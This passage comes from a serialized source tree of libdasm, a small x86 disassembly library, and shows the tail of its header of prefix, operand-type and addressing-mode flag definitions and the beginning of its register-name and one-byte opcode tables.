inst\n);\n\n\n// Instruction flags (prefixes)\n\n// Group 1\n#define MASK_PREFIX_G1(x) ((x) & 0xff000000) >> 24\n#define PREFIX_LOCK\t\t\t0x01000000\t// 0xf0\n#define PREFIX_REPNE\t\t\t0x02000000\t// 0xf2\n#define PREFIX_REP\t\t\t0x03000000\t// 0xf3\n#define PREFIX_REPE\t\t\t0x03000000\t// 0xf3\n// Group 2\n#define MASK_PREFIX_G2(x) ((x) & 0x00ff0000) >> 16\n#define PREFIX_ES_OVERRIDE\t\t0x00010000\t// 0x26\n#define PREFIX_CS_OVERRIDE\t\t0x00020000\t// 0x2e\n#define PREFIX_SS_OVERRIDE\t\t0x00030000\t// 0x36\n#define PREFIX_DS_OVERRIDE\t\t0x00040000\t// 0x3e\n#define PREFIX_FS_OVERRIDE\t\t0x00050000\t// 0x64\n#define PREFIX_GS_OVERRIDE\t\t0x00060000\t// 0x65\n// Group 3 & 4\n#define MASK_PREFIX_G3(x)\t ((x) & 0x0000ff00) >> 8\n#define MASK_PREFIX_OPERAND(x)\t ((x) & 0x00000f00) >> 8\n#define MASK_PREFIX_ADDR(x)\t ((x) & 0x0000f000) >> 12\n#define PREFIX_OPERAND_SIZE_OVERRIDE\t0x00000100\t// 0x66\n#define PREFIX_ADDR_SIZE_OVERRIDE\t0x00001000\t// 0x67\n\n// Extensions\n\n#define MASK_EXT(x) ((x) & 0x000000ff)\n#define EXT_G1_1\t0x00000001\n#define EXT_G1_2\t0x00000002\n#define EXT_G1_3\t0x00000003\n#define EXT_G2_1\t0x00000004\n#define EXT_G2_2\t0x00000005\n#define EXT_G2_3\t0x00000006\n#define EXT_G2_4\t0x00000007\n#define EXT_G2_5\t0x00000008\n#define EXT_G2_6\t0x00000009\n#define EXT_G3_1\t0x0000000a\n#define EXT_G3_2\t0x0000000b\n#define EXT_G4\t\t0x0000000c\n#define EXT_G5\t\t0x0000000d\n#define EXT_G6\t\t0x0000000e\n#define EXT_G7\t\t0x0000000f\n#define EXT_G8\t\t0x00000010\n#define EXT_G9\t\t0x00000011\n#define EXT_GA\t\t0x00000012\n#define EXT_GB\t\t0x00000013\n#define EXT_GC\t\t0x00000014\n#define EXT_GD\t\t0x00000015\n#define EXT_GE\t\t0x00000016\n#define EXT_GF\t\t0x00000017\n#define EXT_G0\t\t0x00000018\n\n// Extra groups for 2 and 3-byte opcodes, and FPU stuff\n#define EXT_T2\t\t0x00000020\t// opcode table 2\n#define EXT_CP\t\t0x00000030\t// co-processor\n\n// Instruction type flags\n\n#define TYPE_3\t\t0x80000000\n#define MASK_TYPE_FLAGS(x) ((x) & 0xff000000)\n#define MASK_TYPE_VALUE(x) ((x) & 0x00ffffff)\n\n\n// Operand flags\n\n#define FLAGS_NONE 0\n\n// Operand Addressing Methods, from the Intel manual\n#define MASK_AM(x) ((x) & 0x00ff0000)\n#define AM_A 0x00010000\t\t// Direct address with segment prefix\n#define AM_C 0x00020000\t\t// MODRM reg field defines control register\n#define AM_D 0x00030000\t\t// MODRM reg field defines debug register\n#define AM_E 0x00040000\t\t// MODRM byte defines reg/memory address\n#define AM_G 0x00050000\t\t// MODRM byte defines general-purpose reg\n#define AM_I 0x00060000\t\t// Immediate data follows\n#define AM_J 0x00070000\t\t// Immediate value is relative to EIP\n#define AM_M 0x00080000\t\t// MODRM mod field can refer only to memory\n#define AM_O 0x00090000\t\t// Displacement follows (without modrm/sib)\n#define AM_P 0x000a0000\t\t// MODRM reg field defines MMX register\n#define AM_Q 0x000b0000\t\t// MODRM defines MMX register or memory \n#define AM_R 0x000c0000\t\t// MODRM mod field can only refer to register\n#define AM_S 0x000d0000\t\t// MODRM reg field defines segment register\n#define AM_T 0x000e0000\t\t// MODRM reg field defines test register\n#define AM_V 0x000f0000\t\t// MODRM reg field defines XMM register\n#define AM_W 0x00100000\t\t// MODRM defines XMM register or memory \n// Extra addressing modes used in this implementation\n#define AM_I1  0x00200000\t// Immediate byte 1 encoded in instruction\n#define AM_REG 0x00210000\t// Register encoded in instruction\n#define AM_IND 0x00220000\t// Register indirect encoded in instruction\n\n// Operand Types, from the intel manual\n#define MASK_OT(x) ((x) & 0xff000000)\n#define OT_a  0x01000000\n#define OT_b  0x02000000\t// always 1 byte\n#define OT_c  0x03000000\t// byte or word, depending on operand\n#define OT_d  0x04000000\t// double-word\n#define OT_q  0x05000000\t// quad-word\n#define OT_dq 0x06000000\t// double quad-word\n#define OT_v  0x07000000\t// word or double-word, depending on operand\n#define OT_w  0x08000000\t// always word\n#define OT_p  0x09000000\t// 32-bit or 48-bit pointer\n#define OT_pi 0x0a000000\t// quadword MMX register\n#define OT_pd 0x0b000000\t// 128-bit double-precision float\n#define OT_ps 0x0c000000\t// 128-bit single-precision float\n#define OT_s  0x0d000000\t// 6-byte pseudo descriptor\n#define OT_sd 0x0e000000\t// Scalar of 128-bit double-precision float\n#define OT_ss 0x0f000000\t// Scalar of 128-bit single-precision float\n#define OT_si 0x10000000\t// Doubleword integer register\n#define OT_t  0x11000000\t// 80-bit packed FP data\n\n// Operand permissions\n#define MASK_PERMS(x) ((x) & 0x0000f000)\n#define P_r   0x00004000\t// Read\n#define P_w   0x00002000\t// Write\n#define P_x   0x00001000\t// Execute\n\n// Additional operand flags\n#define MASK_FLAGS(x) ((x) & 0x00000f00)\n#define F_s   0x00000100\t// sign-extend 1-byte immediate\n#define F_r   0x00000200\t// use segment register\n#define F_f   0x00000400\t// use FPU register\n\n// Mask 0x000000f0 unused atm\n\n// Operand register mask\n#define MASK_REG(x) ((x) & 0x0000000f)\n\n\n\n// MODRM byte\n#define MASK_MODRM_MOD(x) (((x) & 0xc0) >> 6)\n#define MASK_MODRM_REG(x) (((x) & 0x38) >> 3)\n#define MASK_MODRM_RM(x)   ((x) & 0x7)\n\n// SIB byte\n#define MASK_SIB_SCALE(x) MASK_MODRM_MOD(x)\n#define MASK_SIB_INDEX(x) MASK_MODRM_REG(x)\n#define MASK_SIB_BASE(x)  MASK_MODRM_RM(x)\n\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n"
  },
  {
    "path": "src/opcode_tables.h",
    "content": "/*\n * libdasm -- simple x86 disassembly library\n * (c) 2004 - 2006  jt / nologin.org\n *\n * opcode_tables.h:\n * Opcode tables for FPU, 1, 2 and 3-byte opcodes and\n * extensions.\n *\n */\n\n#include \"libdasm.h\"\n\n\n// lock/rep prefix name table\nconst char *rep_table[] = {\n\t \"lock \", \"repne \", \"rep \"\n};\n\n// Register name table (also includes Jcc branch hint prefixes)\nconst char *reg_table[11][8] = {\n\t{ \"eax\",  \"ecx\",  \"edx\",  \"ebx\",  \"esp\",  \"ebp\",  \"esi\",  \"edi\"  },\n\t{ \"ax\",   \"cx\",   \"dx\",   \"bx\",   \"sp\",   \"bp\",   \"si\",   \"di\"   },\n\t{ \"al\",   \"cl\",   \"dl\",   \"bl\",   \"ah\",   \"ch\",   \"dh\",   \"bh\"   },\n\t{ \"es\",   \"cs\",   \"ss\",   \"ds\",   \"fs\",   \"gs\",   \"??\",   \"??\"   },\n\t{ \"dr0\",  \"dr1\",  \"dr2\",  \"dr3\",  \"dr4\",  \"dr5\",  \"dr6\",  \"dr7\"  },\n\t{ \"cr0\",  \"cr1\",  \"cr2\",  \"cr3\",  \"cr4\",  \"cr5\",  \"cr6\",  \"cr7\"  },\n\t{ \"tr0\",  \"tr1\",  \"tr2\",  \"tr3\",  \"tr4\",  \"tr5\",  \"tr6\",  \"tr7\"  },\n\t{ \"xmm0\", \"xmm1\", \"xmm2\", \"xmm3\", \"xmm4\", \"xmm5\", \"xmm6\", \"xmm7\" },\n\t{ \"mm0\",  \"mm1\",  \"mm2\",  \"mm3\",  \"mm4\",  \"mm5\",  \"mm6\",  \"mm7\"  },\n\t{ \"st(0)\",\"st(1)\",\"st(2)\",\"st(3)\",\"st(4)\",\"st(5)\",\"st(6)\",\"st(7)\"},\n\t{ \"??\",   \"(bnt)\",\"??\",   \"(bt)\", \"??\",   \"??\",   \"??\",   \"??\"   },\n};\n\n// Name table index\n#define REG_GEN_DWORD 0\n#define REG_GEN_WORD  1\n#define REG_GEN_BYTE  2\n#define REG_SEGMENT   3\n#define REG_DEBUG     4\n#define REG_CONTROL   5\n#define REG_TEST      6\n#define REG_XMM       7 \n#define REG_MMX       8 \n#define REG_FPU       9\n#define REG_BRANCH    10\t// Not registers strictly speaking..\n\n// 1-byte opcodes\nINST inst_table1[256] = {\n\t{ INSTRUCTION_TYPE_ADD,    \"add\",       AM_E|OT_b|P_w,               AM_G|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ADD,    \"add\",       AM_E|OT_v|P_w,               AM_G|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ADD,    \"add\",       AM_G|OT_b|P_w,               AM_E|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ADD,    \"add\",       AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ADD,    \"add\",       AM_REG|REG_EAX|OT_b|P_w,     AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_ADD,    \"add\",       AM_REG|REG_EAX|OT_v|P_w,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_REG|REG_ES|F_r|P_r,       FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_POP,    \"pop\",       AM_REG|REG_ES|F_r|P_w,       FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OR,     \"or\",        AM_E|OT_b|P_w,               AM_G|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OR,     \"or\",        AM_E|OT_v|P_w,               AM_G|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OR,     \"or\",        AM_G|OT_b|P_w,               AM_E|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OR,     \"or\",        AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OR,     \"or\",        AM_REG|REG_EAX|OT_b|P_w,     AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OR,     \"or\",        AM_REG|REG_EAX|OT_v|P_w,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_REG|REG_CS|F_r|P_r,       FLAGS_NONE,                FLAGS_NONE,   0 },\n\t// Escape to 2-byte opcode table\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_ADC,    \"adc\",       AM_E|OT_b|P_w,               AM_G|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ADC,    \"adc\",       AM_E|OT_v|P_w,               AM_G|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ADC,    \"adc\",       AM_G|OT_b|P_w,               AM_E|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ADC,    \"adc\",       AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_ADC,    \"adc\",       AM_REG|REG_EAX|OT_b|P_w,     AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_ADC,    \"adc\",       AM_REG|REG_EAX|OT_v|P_w,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_REG|REG_SS|F_r|P_r,       FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_POP,    \"pop\",       AM_REG|REG_SS|F_r|P_w,       FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_SBB,    \"sbb\",       AM_E|OT_b|P_w,               AM_G|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SBB,    \"sbb\",       AM_E|OT_v|P_w,               AM_G|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SBB,    \"sbb\",       AM_G|OT_b|P_w,               AM_E|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SBB,    \"sbb\",       AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SBB,    \"sbb\",       AM_REG|REG_EAX|OT_b|P_w,     AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_SBB,    \"sbb\",       AM_REG|REG_EAX|OT_v|P_w,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_REG|REG_DS|F_r|P_r,       FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_POP,    \"pop\",       AM_REG|REG_DS|F_r|P_w,       FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_AND,    \"and\",       AM_E|OT_b|P_w,               AM_G|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_AND,    \"and\",       AM_E|OT_v|P_w,               AM_G|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_AND,    \"and\",       AM_G|OT_b|P_w,               AM_E|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_AND,    \"and\",       AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_AND,    \"and\",       AM_REG|REG_EAX|OT_b|P_w,     AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_AND,    \"and\",       AM_REG|REG_EAX|OT_v|P_w,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t// seg ES override\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_DCL,    \"daa\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_SUB,    \"sub\",       AM_E|OT_b|P_w,               AM_G|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SUB,    \"sub\",       AM_E|OT_v|P_w,               AM_G|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SUB,    \"sub\",       AM_G|OT_b|P_w,               AM_E|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SUB,    \"sub\",       AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_SUB,    \"sub\",       AM_REG|REG_EAX|OT_b|P_w,     AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_SUB,    \"sub\",       AM_REG|REG_EAX|OT_v|P_w,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t// seg CS override\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_DCL,    \"das\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_XOR,    \"xor\",       AM_E|OT_b|P_w,               AM_G|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_XOR,    \"xor\",       AM_E|OT_v|P_w,               AM_G|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_XOR,    \"xor\",       AM_G|OT_b|P_w,               AM_E|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_XOR,    \"xor\",       AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_XOR,    \"xor\",       AM_REG|REG_EAX|OT_b|P_w,     AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_XOR,    \"xor\",       AM_REG|REG_EAX|OT_v|P_w,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t// seg SS override\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_ASC,    \"aaa\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_CMP,    \"cmp\",       AM_E|OT_b|P_r,               AM_G|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_CMP,    \"cmp\",       AM_E|OT_v|P_r,               AM_G|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_CMP,    \"cmp\",       AM_G|OT_b|P_r,               AM_E|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_CMP,    \"cmp\",       AM_G|OT_v|P_r,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_CMP,    \"cmp\",       AM_REG|REG_EAX|OT_b|P_r,     AM_I|OT_b|P_r,             FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_CMP,    \"cmp\",       AM_REG|REG_EAX|OT_v|P_r,     AM_I|OT_v|P_r,             FLAGS_NONE,   0 },\n\t// seg DS override\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_ASC,    \"aas\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_INC,    \"inc\",       AM_REG|REG_EAX|OT_v|P_r,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_INC,    \"inc\",       AM_REG|REG_ECX|OT_v|P_r,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_INC,    \"inc\",       AM_REG|REG_EDX|OT_v|P_r,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_INC,    \"inc\",       AM_REG|REG_EBX|OT_v|P_r,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_INC,    \"inc\",       AM_REG|REG_ESP|OT_v|P_r,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_INC,    \"inc\",       AM_REG|REG_EBP|OT_v|P_r,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_INC,    \"inc\",       AM_REG|REG_ESI|OT_v|P_r,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_INC,    \"inc\",       AM_REG|REG_EDI|OT_v|P_r,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_DEC,    \"dec\",       AM_REG|REG_EAX|OT_v,         FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_DEC,    \"dec\",       AM_REG|REG_ECX|OT_v,         FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_DEC,    \"dec\",       AM_REG|REG_EDX|OT_v,         FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_DEC,    \"dec\",       AM_REG|REG_EBX|OT_v,         FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_DEC,    \"dec\",       AM_REG|REG_ESP|OT_v,         FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_DEC,    \"dec\",       AM_REG|REG_EBP|OT_v,         FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_DEC,    \"dec\",       AM_REG|REG_ESI|OT_v,         FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_DEC,    \"dec\",       AM_REG|REG_EDI|OT_v,         FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_REG|REG_EAX|OT_v|P_r,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_REG|REG_ECX|OT_v|P_r,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_REG|REG_EDX|OT_v|P_r,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_REG|REG_EBX|OT_v|P_r,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_REG|REG_ESP|OT_v|P_r,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_REG|REG_EBP|OT_v|P_r,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_REG|REG_ESI|OT_v|P_r,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_REG|REG_EDI|OT_v|P_r,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_POP,    \"pop\",       AM_REG|REG_EAX|OT_v|P_w,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_POP,    \"pop\",       AM_REG|REG_ECX|OT_v|P_w,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_POP,    \"pop\",       AM_REG|REG_EDX|OT_v|P_w,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_POP,    \"pop\",       AM_REG|REG_EBX|OT_v|P_w,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_POP,    \"pop\",       AM_REG|REG_ESP|OT_v|P_w,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_POP,    \"pop\",       AM_REG|REG_EBP|OT_v|P_w,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_POP,    \"pop\",       AM_REG|REG_ESI|OT_v|P_w,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_POP,    \"pop\",       AM_REG|REG_EDI|OT_v|P_w,     FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PUSH ,  \"pusha\",     FLAGS_NONE|P_r,              FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_POP,    \"popa\",      FLAGS_NONE|P_w,              FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"bound\",     AM_G|OT_v|P_r,               AM_M|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_PRIV,   \"arpl\",      AM_E|OT_w|P_r,               AM_G|OT_w|P_r,             FLAGS_NONE,   1 },\n\t// seg FS override\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t// seg GS override\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t// operand size override\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t// address size override\n\t{ INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_I|OT_v|P_r,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_EIMUL,  \"imul\",      AM_G|OT_v|P_r,               AM_E|OT_v|P_r,             AM_I|OT_v|P_r,1 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_I|OT_b|F_s|P_r,           FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_EIMUL,  \"imul\",      AM_G|OT_v|P_r,               AM_E|OT_v|P_r,         AM_I|OT_b|F_s|P_r,1 },\n\t{ INSTRUCTION_TYPE_PRIV,   \"insb\",      FLAGS_NONE|P_w,              FLAGS_NONE|P_r,            FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PRIV,   \"insv\",      FLAGS_NONE|P_w,              FLAGS_NONE|P_r,            FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PRIV,   \"outsb\",     FLAGS_NONE|P_w,              FLAGS_NONE|P_r,            FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PRIV,   \"outsv\",     FLAGS_NONE|P_w,              FLAGS_NONE|P_r,            FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jo\",        AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jno\",       AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jc\",        AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jnc\",       AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jz\",        AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jnz\",       AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jna\",       AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"ja\",        AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"js\",        AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jns\",       AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jp\",        AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jpo\",       AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jl\",        AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jnl\",       AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jng\",       AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jg\",        AM_J|OT_b|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"g1\",        AM_E|OT_b,                   AM_I|OT_b,                 FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"g1\",        AM_E|OT_v,                   AM_I|OT_v,                 FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"g1\",        AM_E|OT_b,                   AM_I|OT_b,                 FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_OTHER,  \"g1\",        AM_E|OT_v,                   AM_I|OT_b|F_s,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_TEST,   \"test\",      AM_E|OT_b|P_r,               AM_G|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_TEST,   \"test\",      AM_E|OT_v|P_r,               AM_G|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_XCHG,   \"xchg\",      AM_E|OT_b|P_w,               AM_G|OT_b|P_w,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_XCHG,   \"xchg\",      AM_E|OT_v|P_w,               AM_G|OT_v|P_w,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_E|OT_b|P_w,               AM_G|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_E|OT_v|P_w,               AM_G|OT_v|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",       AM_G|OT_b|P_w,               AM_E|OT_b|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_MOV,    \"mov\",   